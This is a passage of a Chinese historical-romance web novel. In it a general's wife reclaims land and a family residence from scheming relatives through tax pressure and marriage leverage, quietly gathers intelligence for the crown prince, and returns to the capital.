赵大老爷咬咬牙:“咱们怎么说也是一家人,是打断了骨头还连着筋的亲戚,你也不能见死不救,便是你家将军回来了也说不过去;今日我们夫妻不为了求钱,只求你能出面,就说那田产是黎阳夫人的,且让他们收了钱粮税,别来找我儿子的麻烦。” “大伯父这话我可听不懂了。” 虞声笙淡笑道,“什么叫就说那田产是黎阳夫人的?上回咱们在州府老爷跟前可说得明明白白呀,二位可是拍着胸口信誓旦旦,这才过去多久就给忘了?” 此刻,他也顾不上颜面不颜面的。 那可是他的长子。 是日后支撑门户的继承人,说什么都不能出事。 “夫人何必拐弯抹角地骂人呢,事关人命,你我都心知肚明的……” “我可不知晓。”她一开口打断了对方的话,“当初说得那样斩钉截铁,说要双倍补上,夸下这等海口,还让旁人替你收拾烂摊子么?我可没这么多闲钱。” 说着,她又叹了一声,“外头瞧着威武将军府家大业大的,其实我们才刚新婚,内外事务自己还没理顺呢,哪里就有这么多的空余呢。” 一旁的赵大伯母听着,牙根气得痒痒。 ——你还没理顺?那你插手管旁人家的闲事作甚? 要不是虞声笙率先举告,他们也不会陷入背腹受敌的局面。 眼下可好,官府要催缴,自家兄弟反目,儿子又被抓走了,他们所求无门,只能找上这事发根源。 赵大伯母忍着气:“那你说,你想怎么办?怎样才能放过我们一家?” “我不想怎么办,我是个局外人。” 虞声笙一边说着一边抬手用茶盖轻轻拂着茶汤,“不过我有句实在话却不说不快,当初你们那样逼迫黎阳夫人,还有其一双年幼的孙子孙女,有没有想过他们一家该怎么办?” 赵府夫妇脸色齐刷刷一黑。 她又慢条斯理道:“这人心嘛就是向着自己的,人不为己天诛地灭,我也能理解,你们既占了人家的田产,自然也要付出相应的代价,总不能一毛不拔,还落了个谷仓丰盈,钱粮不缺吧?那老天爷也太不长眼了,连我都看不下去。” “你说得这样冠冕堂皇,好像正义得很,我就不信你没有私心!” 虞声笙望向怒吼的赵大伯母,笑容加深了:“说对了,我怎么会没有私心呢,实话跟你们说了吧,我自京城动身之前,姑母就与我说好了,若我有本事拿下你们,你们手头不该占的田产就都是我的了。” “无利不起早呀。”她弯起眉眼,“谁跟钱过不去呢,你们说是这个理吧。” 二人沉默不语。 直到此刻,他们才意识到来求虞声笙简直是下策中的下策。 这女人面甜心苦,说起话来一套一套的。 看似小白兔一样温柔乖顺,实则一肚子黑水。 一个内宅妇人,张口闭口就将钱粮田产挂在嘴旁,满身铜臭。 赵大伯母还想求一求,毕竟事关自己的儿子。 可一向高傲惯了的赵大老爷却开不了口。 他沉着脸起身就走。 “欸,你别走啊……”赵大伯母急了。 “还在这儿求她作甚,你瞧瞧她这副嘴脸,就是要把咱们往死路上逼呢!不许求她,咱们走!!” 虞声笙冷眼笑着瞧着这一幕:“好走不送。” 赵大老爷一听这话,脚下步子走得更快了。 见他们走远了,金猫儿才忐忑道:“夫人,这么一闹会不会惹出什么麻烦来?” “不妨事。”虞声笙弹着纤纤的指甲,眉眼清冷,“他们逼着黎阳夫人时,何曾想过他们老的老小的小,会不会有什么麻烦,今日不过是挨了一下昔日砍在旁人身上的刀子罢了;金猫儿,你记住了,越是不择手段的人,越没有那么容易被击垮。” 能狠着心欺负二房弟妹,欺负人家唯一的骨血。 这样的人必定心狠手辣。 绝不像他们表现出来的那样和蔼可亲。 “况且,只是叫他们家的长子去服徭役,让人暗中照看着点,不叫他伤了性命就成;一个成年大男人,去劳作几日又算得了什么事?” 就说她自己,当年在乡野时求生,为了能吃上更多更好的东西,她也曾吃过不少苦。 一个年幼的女孩尚且能活下来,那赵家少爷应该也可以。 虞声笙没有多余的心疼惋惜。 这事就这么定了。 官府的动作比她想得还要快。 赵府拿不出应缴的税粮,连银钱都垫不够,赵家少爷很快被判了三年徭役,期间还得将欠缴的税粮一一补齐。 若三年期满,依旧补不上时,这些涉及到的田产将会充公,重新卖与出价更高者。 赵府夫妻听到消息,只觉得天都塌了。 长子被押送出乾州,送往附近的官道之前,他们曾去见了一面。 才堪堪几日,那赵少爷便灰头土脸,不成样子,哪里还有过往半分风光体面。 见着爹娘,就像抓住了救命稻草,当场泪如雨下。 他哭着喊着要回府。 赵大伯母哭得肝肠寸断,还是没能留住儿子。 消息传到虞声笙耳中,她往棋盘上落下一子,感慨道:“母子连心呀。” 今瑶看不懂,但不妨碍她给自家夫人拍马屁:“夫人真厉害,棋下得好,说得也好。” 虞声笙好笑地抬眼,伸手拧了她脸颊一下:“下得好什么好,我压根不会,就是在对着棋谱乱摆呢。” “夫人摆着都好看。” 闻言,虞声笙笑得更开心了。 她摇摇头,随后吩咐道:“让他们备好的银票准备得怎么样了?” 今瑶收起了嬉皮笑脸:“夫人放心,钱庄那头打点妥当了,只等夫人一声令下。” “好。”虞声笙伸了个懒腰,“拔出萝卜带出泥,要的就是快准狠。” 赵府夫妻等不了三年。 她也一样。 是以,赵少爷刚去服徭役不到五日,便大病一场。 消息传回,赵大伯母越发心焦。 这下连赵大老爷也坐不住了。 他去找州府老爷求情,州府老爷拗不过他,给他一个折中的法子——让他让出多余的、不属于他的田地,再由官府出面卖给愿意接手的人,若还是补不上窟窿,那就只能再卖一部分他们原有的庄子。 夫妻二人这回倒是没多犹豫,很快便同意了。 虞声笙第一时间得到消息,命人带上银票,不费吹灰之力就从官府手中顺理成章地买下了这部分田产。 因出手太急,又要一次性付清,很多乾州富户还在观望筹钱,却不想被虞声笙一个时辰就搞定了。 接过从官府处过了明面的地契,虞声笙一颗心便安定了。 事已至此,成了一半。 夜深了。 她将新得的地契安放好,便取出卦盘铜钱。 今夜心血来潮,意动难耐,她想算上一卦。 看着卦象显示,片刻后,她叫来了小厮,让他快马加鞭去传信。 “告诉将军,就说乾州这头已经查得差不多了。” 第160章没玩够 “一切事情,如他所料。” 她吩咐完,那小厮便趁着夜色匆匆离去。 虞声笙也回房休息。 再说那赵府夫妻,到手的肥肉丢了,前前后后搭了不少银钱进去,还把心爱的长子一条命差点搭了进去,忙活一场,到头来什么都没有。 眼睁睁看着田产落入他人之手,这二人脸皮都在抽搐。 赵大老爷更是不愿面对这个事实。 打算不看虞声笙那丑恶贪婪的嘴脸,竟是一个眼神都不给,负手离去;可他回府才知晓,人家虞声笙压根连面都露,全程都交给管事来办,尽显将军夫人的骄傲。 闻言,赵大老爷又差点吐血。 至于赵大伯母,儿子能救回来,她便安心了。 至于失去那些田产固然可惜,但也比不上儿子的性命要紧。 但当官府又说贱卖了那些田产依旧还有短缺时,她也有点坐不住了。 关于是卖赵家祖产,还是卖她的陪嫁,两口子又爆发了一次堪称山崩地裂的争执。 最后还是赵大老爷落败,灰溜溜地将原先分到手的一部分田产出售,以填补亏空。 毕竟老妻说了,她的嫁妆都是要留给孩子们的,要是让外头的人知晓赵家还打媳妇嫁妆的主意,脊梁骨都要被戳穿了。 哪怕眼下赵家大房已经丢人丢得够狠,赵大老爷还是要挽回一些颜面。 这些后来被发卖的田产也落到了虞声笙的手中。 谁让她早就算到了这一点,所需银钱都是备着现成的。 对方只要出手,她瞧着价格合适便尽数吃下。 一来二去,短短数日虞声笙的小金库就以惊人的速度增长着。 一切安定后的晚上,闻昊渊回来了。 她早就得了石勇的传信,炉子上还热着饭菜,灯火几盏,融融如日光,她正一边数地契银票一边等着丈夫。 男人一推开门瞧见的就是这样的光景。 柔和灯光下,女子正盘腿坐在床榻上,纤纤十指本该是最书卷气的,却被她用来快速点着那些财产;乌发如云,顺着肩头垂下,她忙得只顾着抬眼瞅了一下,随口来了句:“快去洗手吃饭,七、八、九……嗯,怎么少了一张?” 闻昊渊哭笑不得。 但还是乖乖绕到屏风后头洗漱净手。 “明日咱们要去见太子殿下。”他坐下才吃了两口,脱口而出。 “好。” 见她应得果断,他好奇了:“你就不问问为什么?也不怕么?” “要是要紧事,怕等不到明日,既然能等到明日,那必定是已经尘埃落定的事情……让我猜猜,是不是殿下知晓了我暗中帮忙,想夸奖夸奖我?” 她眯起眼,笑得像极了一只狡黠可爱的小狐狸。 闻昊渊一时间看痴了。 “竟被你猜得七七八八,这总不会又是你算出来的吧?”他清了清嗓子,挑眉一笑。 “自然……没有。” 她心虚地垂下眼,继续数着。 闻昊渊:…… ——肯定是算出来的。 翌日,虞声笙收拾妥当,换了一身清雅的衣衫,与闻昊渊站在一起,一高一矮,一粗犷一纤细,却相得益彰,很是相配。 由闻昊渊领着,乘着马车驶向了乾州某处私密宅邸。 这儿是太子殿下的私宅之一。 到了地方,依着礼数见礼问安,只听前头传来一温柔的声音:“闻卿、虞夫人平身,今日只是孤在私底下设的家宴,只为款待朋友,实在无需多礼。” 虞声笙错开半个身子的距离,落在闻昊渊身后。 闻言,她才徐徐起身,继续低眉顺眼地摆出一副端庄模样。 见惯了这几日她的活泼,乍一见此情此景,闻昊渊还有点不习惯。 几人落座,虞声笙这才看清楚了当朝太子的模样。 他长得与皇后很像,尤其眼睛鼻子。 笑起来温文尔雅,颇有公子如玉的翩翩之态。 虞声笙暗道一声好,如此模样的太子,想必也是人中龙凤。 她静静吃着菜,多听少言。 此举获得了太子的极高赞赏,与闻昊渊一番对话后,他终于见缝插针地补了一句:“看来传言并非都可信,今日孤见到虞夫人方知闻名不如见面的真正含义;你与闻卿真乃天造地设的一对,孤瞧着很是开心。” 虞声笙浅笑举杯:“多谢殿下,殿下实在是谬赞了。” “此次孤代父皇巡视,本就暗潮涌动,多亏了夫人暗中相中,你卜算本事了得,先知更是超前果断,还趁着查赵府的私账一事,替孤查清了乾州内暗藏的势力,难道还担不起一句夸奖么?” 太子笑道,“孤敬你们夫妇一杯。” 怕是赵家夫妇无论如何都没想到,自己只是虞声笙明面上的棋子。 用这一招吸引众人的视线,成功让虞声笙查到算到自己想要的消息。 那薛太太漏夜前来,不仅仅为了叙旧或是交托旧物,更是传达了重要线索。 当初虞声笙自告奋勇接过这差事时,闻昊渊是拒绝的。 因为这太危险了。 他不愿妻子暴露在危险之中。 可虞声笙却说,最危险的地方便最安全。 何况黎阳夫人一事当初闹得满城风雨,乾州上下谁人不知? 她打着黎阳夫人的旗号,师出有名,又借着查清田产亩数、逼着赵府夫妻补缴税粮的风波,更将这件事闹大,越是吸引众人,反而越是不让人留意到她身上。 大约此刻外界的人只会认为,这位从京城而来的将军夫人是专程替黎阳夫人找回场子来的,顺便收拢田产银钱在手,名利双收。 这顿家宴确实吃得宾主皆欢。 散席后,太子亲自送他们到府门口。 “殿下太客气了。”闻昊渊拱手作揖。 “欸,闻卿这话严重了,今日你我没有君臣之别,只是好友;相送好友,乃人之常情。”太子笑道。 又客套了两句,夫妻二人才乘着马车离去。 这会子没外人,虞声笙叹了一声:“宫廷里长大的人是不是都长了八百个心眼子?这太子殿下瞧着温厚如玉,其实也深不见底。” “这是自然,若不如此,怎能稳坐东宫之位?” “我就不成了,在这位贵人跟前我可不敢多说什么。” “你这样就很好。” 他抬手揉了揉她的头发。 虞声笙眼睛一亮:“陛下是打算把你留给太子?” 闻昊渊沉默久久,突然来了句:“是留给下一任储君。” 这话略有不同,但大概意思一致。 她反复咀嚼着丈夫这句话,若有所思地点点头:“那我献计献策又一番立功,应当没做错吧?” “没错,只要不与那叶贵妃走得近,怎样都不算错。” 太子此番巡视,收获颇丰,光是上呈天听的奏折就写了不下二三十本。 本本都是精华,字字句句都落在点子上。 后来,虞声笙都得到从京城传来的消息,说是皇帝龙颜大悦,在朝堂之上没少夸太子与闻昊渊。 她叹了一声。 萱妈妈听了,笑问:“夫人这是怎么了?好短短的,叹什么气呢。” “咱们要启程回京了,我还没玩够呢。”她感慨万千。 第161章连丫鬟都能看明白 闻言,今瑶快步过来,正色道:“不是我说姑娘,您这段时日也过得太逍遥散漫了些,叫咱们几个瞧着倒也无妨,横竖咱们都是姑娘的人,谁又会去外头嚼舌根?可其他人都看在眼里呢,奴婢是怕您这样会叫他们这些个奸懒馋滑之辈生了些许不敬之心,回头不好服众。” 她一口气说完,才意识到自己又换回了原先的称呼,俏脸微红,“总之,奴婢就是担心夫人您。” 今瑶的话倒也不无道理。 金猫儿很赞同。 虞声笙笑了:“难为你们几个这样替我着想,我心里都记着呢。” 即将返京,那么留在乾州的一些事情也要七七八八料理妥当。 最要紧的田庄已经到手。 她不但收回了原先黎阳夫人丢了的,还替自己府邸足足添置了好大一片庄子。 这庄子距离山脉也近,到了年节便有享用不尽的野味珍馐,还有各种特产,一想到这儿虞声笙就忍不住咽了咽口水。 当然还有第二桩要紧事。 虞声笙为此特地去找了赵大伯母。 依旧是在乐安府。 比起上回的热情周到,这一次的赵大伯母就像换了个人似的,面笼寒霜,不苟言笑,耷拉着眼睛,从眼角处看人,浑身上下都透着一股生人勿近的气势。 赵阅儿明显也察觉到母亲态度的转变。 她生怕得罪了虞声笙,又一时间说服不了自己老娘。 夹在中间又是赔笑又是奉茶的,看得虞声笙都有点不忍心了。 赵阅儿比她还小了几岁。 本该是被父母捧在掌心疼爱的闺阁年岁,如今却被迫成长,对比女儿,赵大伯母显得格外糟心不懂事。 当赵阅儿再一次起身要给虞声笙添茶时,被她轻轻拂开,她笑道:“阅儿妹妹不必忙了,坐下歇歇吧,茶水再多也堵不上我的嘴,该说的话还是要说的。” 她笑盈盈地看向赵大伯母,“我今儿来就一件事,敢问你们大房这一家什么时候从乐安府搬走?” “什么?” 赵大伯母惊呆了,“你抢了田庄不够,这会子连这宅院也想要?亏你还是京里来的将军夫人呢,堂堂三品诰命在身,你、你怎能这般不知羞耻?!这是明抢么?!” 憋了数日的愤怒倾泻而出,话自然说得又冲又难听。 虞声笙倒是不在意,嫣然一笑。 “大伯母这话就不对了,我何曾抢过什么东西?若我真做了这作奸犯科的坏事,你还不赶紧去州府老爷跟前击鼓鸣冤?我朝明文规定,即便我有诰命在身,也不能如此鱼肉百姓,抢夺他人田产。” 她缓缓道,“话又说回来了,既然大伯母这样懂事明理,知晓抢人田产乃犯罪之行径,又怎会不知晓夺人宅院也是一样的罪名呢?” “这府邸原先可不叫赵府,这是黎阳夫人的夫君乐安公的府邸,外头的匾额上写着的正是乐安府,与赵府、与你们大房没什么关系;我离京之前,姑母就交代给我,说是乐安府借给你们一房住得也够久了,也该收回好好修缮一番,往后便做二房祖宅使用。” “既然赵家早就分家多年,二房的祖宅怎么也不该算到大房头上去。” 她一锤定音,“当然了,我也不是无情之人,凡事都有个宽限。” 说到这儿,虞声笙冰凉的眸子瞥了一眼赵阅儿。 “妹妹这模样生得可真好,可惜我读书少,勉强认得几个字,却夸不出来更好的话,便是天仙也不过如此吧!我听说妹妹如今正在议亲,嗯?” 赵大伯母浑身一个激灵。 寒气从背后窜起,直至头皮。 她的私心已经被眼前这女人看得一清二楚。 这种被了如指掌的窥探感叫人不寒而栗。 她甚至不敢去看虞声笙的眼睛。 “能从乐安府出嫁,自然要比从赵府出嫁风光百倍,说出去也好听,到底是乐安府的堂小姐,若我有个女儿,我也会替她这样盘算。” 虞声笙轻轻一哂,“大伯母一片慈母之心,我能理解,这样好了,我们各退一步。” “怎么说?” 赵大伯母硬着头皮追问。 亭台深深,花鸟虫鸣不绝于耳。 本该寂静的园子里,此刻格外热闹。 郁郁葱葱间,不知过了多久,却见虞声笙那一抹清丽的身影施施然起身告辞,而赵家母女却呆坐一旁许久。 直到婆子过来,赵大伯母才恍若惊醒一般跳起来:“她居然敢拿你的婚事来威胁我!!” 赵阅儿俏脸发白,一句话都说不出口。 当晚,冷战数日的老两口又凑到了一块。 赵大伯母说了今日与虞声笙的一番对话,说到对方的来意时,她气不打一处来,胸口起伏不断。 “她真这样说?” “是!说让我们半个月内给阅儿的婚事定下,不然就要把咱们一家子都轰出去!怎么会有这样厉害无情的女人?她才多大!!这手段老练毒辣的,简直不像让她这个年纪该有的样子!” 赵大伯母只要一回想起今日那女人浅笑嫣然的模样,就觉得一阵战栗。 “咱们就算拖半个月,我就不信了,她还能一直赖在乾州不走了?” 赵大老爷也一阵气闷,“总不可能留在这里三年五载的,还要等到我儿成婚吧!横竖阅儿还小,咱们拖得起,她能拖得起么?到时候动手撵长辈,这么一个不孝的帽子扣下来,即便她是什么将军夫人,怕也难担待得起吧?!” “你说得容易,这可是拿阅儿的终身大事在赌!你瞧瞧田产那事,这女人有多阴毒,你也瞧见了!害了老大,如今还要连闺女一起坑么?” 她不乐意了。 无论儿子女儿,都是她十月怀胎,从身上掉下来的肉。 她心疼儿子,也一样心疼女儿。 “要是有个什么万一,你让阅儿怎么办?” 老妻的话成功让他哑口无言。 “那这半个月寻个亲事,万一要是寻不好,不也是害了阅儿么?” 夫妻俩对视半晌,各自垂头坐下。 心如乱麻,感觉哪头都不是路…… 赵阅儿也在房中暗自垂泪。 她不明白事情怎么就成了这样了,难为自己看明白也想通了,可麻烦事偏偏不放过她,一茬接一茬。 这会子她是真后悔了。 悔不该当初鬼迷心窍,不知天高地厚地还要去勾搭闻昊渊。 若非如此,今日她在虞声笙面前也不会张不开口。 一步错,步步错。 赵家大房重又陷入愁云惨淡。 回去的路上,今瑶好奇地问自家夫人:“乐安府,既然这府邸是因乐安公才有的,如今乐安公已然归天,连黎阳夫人都不在这儿了,这乐安府不就剩一个空壳子么?从这儿出嫁有什么不一样的吗?” 闻言,虞声笙笑了。 “瞧瞧,咱们家今瑶都能看明白的事,偏有些人执迷不悟。” 是啊,乐安公都不在了。 旁人会看在空空如也的乐安府的面上,给赵阅儿风光体面么? 除非黎阳夫人不远千里归来,亲自替赵阅儿梳妆送嫁,当众做赵阅儿的全福夫人才行。 可黎阳夫人早就对这家人心灰意冷,怎么可能还回乾州? 第162章拿捏,还不是轻轻松松 依着虞声笙的意思,她不回来踩两脚,冷嘲热讽一番,就已经很有涵养了。 换成过去的虞声笙遇到这种事,定要把他们狠狠揍一顿,再啐一口,方能解恨。 尊贵的将军夫人的身份是一件厚重的外衣。 遮掩了锋芒,也带来了她想要的安稳富贵。 罢了,凡事有舍有得。 她不贪心,不会什么都想要。 金猫儿纳闷:“赵家会答应么?” “由不得他们答不答应,不答应我也有不答应的法子,我离京时答应了姑母,这乐安府、田地,一样不落我都要收回的。”她眸色沉沉,慵懒地靠在软垫上,那眉眼间氤氲生出一股上位者的矜骄。 翌日,赵大伯母还在睡梦中。 管事婆子火急火燎来传话。 “什么?府门外叫人围了?谁这么大胆?!”她来不及细细洗漱更衣,胡乱拿茶水漱了两口,又匆匆换上外衫,“老爷知道了么?” “门房已经过去传话了,想必老爷定然知晓。” “老爷昨个儿歇在哪儿了?” “在胡姨娘处。” 赵大伯母一听,声音不由得拔高几度:“这个不要脸的。” 也不知道骂的是谁…… 待夫妻二人一同赶到时,被眼前一幕惊得倒抽一口凉气。 乐安府门外围着的都是身披银甲的护卫。 一看就身份非凡。 怕是州府老爷轻易都差遣不了。 赵大老爷忙不迭地从偏门出去,也不知寻到谁问了个究竟,得知这些银甲护卫都是皇族身边的侍卫。 “皇族?!”赵大伯母眼睛一翻,差点晕过去,“又是那尊神佛奶奶……咱们这又是得罪了谁?” “你问我,我问谁?!” 银甲护卫不发一言,就只是守在府门外。 外头人来人往瞧着新鲜,很快消息不胫而走。 整个乾州都知道乐安府被围了,赵家大房又不知道惹了哪位高门大户,才得了这样的报应。 原先还对赵阅儿颇为中意的几户人家,刷的一下又消失得无影无踪。 寻到媒婆一问,那媒婆甩着帕子,脸上的脂粉浮起一半,无比夸张道:“我的大太太,你还好意思问呐?你瞅瞅你家府门外是什么人?那些个人家都是本分富贵的,谁愿意沾惹这样的麻烦!” 赵大伯母一听,捂着心口,这下是彻底晕过去,是叫婆子们七手八脚给抬回了府中。 事已至此,他们夫妻再看不明白那就真是傻子了。 二人又去了一趟客栈。 虞声笙避而不见。 赵大伯母明白了她的意思,强打精神,赶忙替女儿亲事的奔走起来。 很快,她便相中了一个青年。 比赵阅儿略大了一些,年长五六岁。 原先家里也不错,只是后来家道中落,沦为寒门。 这小伙子倒也争气,读书上进,已然考中了举人。 若不是家里条件实在拿不出手,他又不愿屈尊降贵去迁就那乡野出身的女子,这才将终身大事给拖延了下来。 换成从前,赵大伯母定然会嗤之以鼻——就这条件还挑?挑什么挑?嫁汉嫁汉,穿衣吃饭,连媳妇都养不起,挑他大爷呢? 眼下,她只能咽下苦水,给女儿备齐多多的嫁妆。 到了过庚帖这一日,府门外的银甲护卫有了异动。 为首之人拱手道:“我等奉命,护送赵家小姐的庚帖。” 赵大伯母万万没想到事情还有这样的转机。 有这样一队护卫相随,走在路上风光霸气,体面十足。 这可是皇族才能用到的侍卫呀,如今竟护送赵阅儿的庚帖,这让灰头土脸了多日的老两口重新扬眉吐气。 对方家里也没想到会是这样。 诚惶诚恐地跪在外头,又小心翼翼地迎回了赵阅儿的庚帖,摆在宗祠内合起了八字。 这么一来,原先传得流言纷纷,眼下不攻自破。 还有些好事之人大着胆子来问赵大伯母,问她这些是不是京中贵人安排的。 赵大伯母含糊不清地应着。 心里没底的模样却被那些人解读成了高深莫测,越发敬畏忌惮。 赵阅儿的婚事定下后,老两口松了口气。 但看看府门外始终没有撤走的侍卫,他们对视一眼,明白这下不走也得走了。 人家心情好,可以轻而易举地捧他们上天;可若是有一日人家心情不好了呢,他们这一房不就成了砧板上的鱼肉? 大房上下活动起来,打点行装,收拾箱笼,短短三五日便已经搬得七七八八。 有人问起来,赵大伯母拿出与丈夫商量好的说辞:“儿女婚嫁是大事,要从本家祖宅出嫁,方能得祖宗保佑。” 这话也没错。 他们大房原先在乾州也是有自己的宅院的。 不过远不如乐安府宽敞气派罢了。 他们前脚刚搬走,后脚那些银甲护卫便撤离。 此刻,客栈内,虞声笙正坐在榻上,她跟前是几个年约三四十的管事,有男有女,打扮得老实本分,人瞧着也精神干净。 “叫你们一路奔波而来,辛苦了。” 她柔声一笑。 “夫人哪里话,我等是黎阳夫人身边的老人了,黎阳夫人先前备受委屈,咱们都是奴婢也无法在主子跟前说上话,没派上用场不说,反倒被撵去了城郊庄子上做苦活,多亏了夫人照拂……如今又叫咱们得还,咱们又哪里称得上辛苦呢。” 一婆子瞧着和气得很,说话也进退有度。 这些人都是黎阳夫人之前用过的老人。 离京前,虞声笙向她要了一份可靠的奴仆名单。 这些人都在之内。 她刚到乾州那段时日,天天往城郊庄子上跑,除了调查被大房贪墨的田产之外,还在暗中观察这些老奴的日常。 验证了这些人确实本分牢靠,也守得住。 等如今尘埃落定,她才命人将他们都请了过来。 “黎阳夫人的意思,是叫你们留在乾州照看祖宅,也就是如今的乐安府。” 几人又惊又喜,几乎笑得合不拢嘴。 从田庄劳作乍然变为照看祖宅,这活计立马从艰苦变成了轻松。 “多谢夫人。”他们一一拜倒,再无不愿的。 又交代了好些细致的事,虞声笙才让他们退下,金猫儿将早就备好的匣子交给他们,那里头放着的,便是乐安府各处的门房钥匙。 刚歪在榻上打了个哈欠,闻昊渊就进来了。 “我都听见了,咱家夫人真是厉害。”他笑道。 “哪里厉害了,不过是摆弄人心。”她懒懒的,有些提不起劲儿,“说起来我最不喜的就是这种事了。” “你不喜欢,那往后就不做。” 武人想法简单粗暴。 虞声笙瞥了一眼瞪过去,说不出的娇嗔:“哪里能说不做就不做的,人生在世,难免为难二字,只要有利可图便可。” “也对。”他竟认同,“那这一回你赚了多少,数来给为夫听听呗。” “都在那儿了。”她指着小几上堆起的账册,“我正愁无人帮忙呢,你来得刚好,帮我瞧瞧吧。” 闻昊渊:…… 他就不该提这茬。 暖香入怀,窗外枫叶正红。 哪怕一起看账理事,好像也成了一桩风流韵事。 赵家大房搬走的第六日,虞声笙一行踏上了返京之途。 第163章回府 与来时一样,走的时候虞声笙一行的车马依旧跟在太子的銮驾后头。 因此番太子是代天子巡视,皇帝特赐全副銮驾。 一行而来,威武风光。 但跟在后面的虞声笙倒是没觉得有多不一样。 一想到要在路上颠簸好些时日,她整个人头都大了。 闲来无事最想做的便是数钱数地契了。 闻昊渊得空了便来陪伴妻子,来三回有两回都能瞧见她在数这些,他觉得好笑,忍不住提醒:“这些个都是纸张制成,你别数多了,回头给磨破了才是。” 虞声笙一听,刚刚伸出去的小手立马收了回来。 “有道理!” 她赶紧又让人寻了个匣子来将这些都安放好。 金猫儿大概是怕自家夫人又忍不住,甚至还和今瑶商量了一下,寻了一把大锁来拷上,这便万无一失了。 钥匙送到了虞声笙手中。 摩挲着那冰凉的金属质地,她一阵欣慰长叹。 车行快到登船时,后头有两人策马而来,说是送来了赵府小姐的书信。 是赵阅儿写来的。 展开细细瞧了,虞声笙忍不住轻笑。 一旁的今瑶不明所以:“夫人笑什么?可是这赵姑娘又说了什么可笑的话了?” “我笑赵府小姐总算明白过来了,我都走了,还巴巴地送来一封送别信,倒是礼数周全。” 那信中,还有赵阅儿写上的一首送别诗。 只可惜虞声笙肚子里文墨有限,实在是难以领会到其中妙处。 略看了一眼便丢开了。 谁知那外头候着的小厮非说要回信。 今巧听了啐了一声:“什么人呀这是,我们夫人愿意看你家小姐送来的信就算不错了,还非要笔墨回信?” “回信也应当,人家赶来相送一程,我不回礼也不好。” 虞声笙笑了,随手从腕子上褪下一只金须镯子来递了过去:“听说你家姑娘的婚事已经定下了,我走得匆忙,没法子观礼,黎阳夫人又远在京城,更是赶不上,这一点点心意就当是给你家姑娘添妆了。” 得了镯子,那小厮这才离去。 “夫人干嘛对他们那么好?”金瓜不解。 “也不是好,不过是不想咱们失了礼数罢了,赵家也需要这样一个明白人时时劝着,只可惜……赵阅儿是个姑娘,姑娘迟早要嫁人的。” 虞声笙的话点到为止。 却说赵阅儿收到了那只镯子。 收拢在掌心中,任由体温渐渐焐热了那赤金雕刻的花纹。 上头的珍珠硕大圆润,一看就非凡品。 凝枣瞧了也忍不住惊讶:“那位夫人给的么?” “嗯。”赵阅儿点点头,颇为失落,“说是给我添妆的,除了这个却没有半个字了。” “这便足够了,只是……为何不是一对?” 添妆给的首饰,绝大部分都是一对,尤其像镯子耳坠这类的东西,成双成对才是好兆头。 “或许是太过匆忙,这本就是她从自己腕子上拿下来的吧。” “姑娘得了那夫人的添妆,也证明了人家并未将先前的事情放在心上,姑娘您也别往心里去了,瞧您这几日茶饭不思的,人都瘦了一圈了,哪能这样熬着呢,别说老爷太太瞧了心痛,便是奴婢我见了也不忍心啊!” 凝枣宽慰着,又给赵阅儿奉上了一碗细粥。 “这是厨房刚得的,姑娘就用些吧。” 赵阅儿推辞不过,只好接下,小口小口地吃着。 凝枣自然不会知晓自家姑娘的担心。 赵阅儿特地送了一封送别信,是想也要回一封同样的书信,哪怕只有只言片语也好,这也能算是她与那位夫人的交情,也算是给赵家留了一条后路。 可虞声笙没有给回信,也没有失了礼数。 人家给了添妆的镯子。 赵阅儿明白,这是不打算再与他们赵家有任何往来的意思。 彻底得罪了黎阳夫人不说,现在与那将军夫人也是萍水之交了。 外头隐隐约约传来争执声,是赵家夫妇。 这段时日从乐安府搬回了老宅,这两口子没有一日不吵的。 赵大老爷瞧见老妻随意置办物件,不心疼银钱,他要吵;可赵大伯母呢,也不是什么省油的灯,她一听这话就炸毛,直接指着丈夫的鼻子如数家珍一般,将他给那几房姨娘买的什么首饰珠钗、胭脂水粉之类的,全都抖落起来。 夫妻俩互相揭短,闹得不可开交。 赵阅儿的兄长去服了一段时日的徭役,身子就亏空了下来,日日都要吃汤药。 如今家里还这样闹腾,赵阅儿眉心拧紧。 腾地一下,她搁下粥碗起身,步伐快得让身后的丫鬟都追不上。 绕过长廊径直站在爹娘跟前,她跪了下来 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“夫人,夫人!您快醒醒,咱们抵京了。”今瑶兴奋地摇醒了正在打瞌睡的虞声笙。 下一瞬,她听到了熟悉的热闹,彻底清醒。 早早得了消息的黎阳夫人领着辉哥儿桂姐儿出门相迎。 闻昊渊利落下马:“姑母何须如此多礼,您是长辈,这样与礼数不合。” “都是一家人,什么礼数不礼数的,真要算礼数,这一趟就不该你们去,该我这把老骨头亲自跑一趟才是。”黎阳夫人激动万分,高兴地眼眶都红了。 多日不见,两个孩子长高了不少。 见虞声笙从后头的马车下来,辉哥儿率先冲了过去:“婶母!婶母!我如今已经会背千字文了!你可以随便考我!” 黎阳夫人哎哟一声,哭笑不得:“你这个傻孩子,我说你一早起来温书呢,原来是想要背给你婶母听啊,你真是……你叔叔婶婶刚回来,总要让他们好好休息一下,你的书什么时候听都可以。” 虞声笙牵起辉哥儿,又迎着桂姐儿笑着:“不妨事,听着他们嘀嘀咕咕说话,我心情都好。” 冷不丁一抬眼,她瞧见了躲在黎阳夫人身后的昀哥儿。 这一眼看去,着实把虞声笙惊住了。 才一段时日没见,这小子好像一下子长大了。 第164章鬼怪 她记得自己走的时候,他还是个孩子模样。 身量虽比辉哥儿高,但瞧着依然是个小孩子。 如今一眼看去,却只见一眉眼清隽的少年,已经隐隐勃发出风采气势,看得虞声笙暗暗叫好——这般品貌,来日不知要惹得多少女孩子心碎呢……啧啧啧。 又多看了两眼,她进了府门。 安园内早已打点妥当。 热水齐备,茶炉子也是热乎的,就连沐浴一番出来换的衣裳都带着温温的热度,穿在身上格外舒服,只觉得浑身的毛孔都舒展开来。 虞声笙歪在榻上,一边吃着咸汤面疙瘩,一边听着管事婆子们回话。 当家主母一走就是好些时日,府里虽有黎阳夫人帮忙打点,但这些事归根结底都是她的,她半点躲懒不得。 正要强打精神好好听一听时,闻昊渊坐了过来。 这厮也刚刚沐浴完,雪白里衣的外头罩了一件厚实的皮袄外伤,一边拿巾子擦着头发一边吩咐屏风之外的奴仆:“你说,我听,这种小事就别来累着夫人了。” 管事婆子万万没想到接手庶务的第一人是男主人,着实吓得不轻。 她们面面相觑,还是沉下心来一一呈上了钥匙对牌,还有账本子。 有男人挡在前头,虞声笙乐得躲懒。 她吃饱了,又翻了个身,将脸埋在柔软的被衾里,不一会儿就睡着了。 等她睡醒时,天都黑了。 揉揉惺忪睡眼,却见身边小几上堆满了整整齐齐的账册,还有其他要紧物件也都放在一旁的圆案中,一目了然。 “将军呢?”她问。 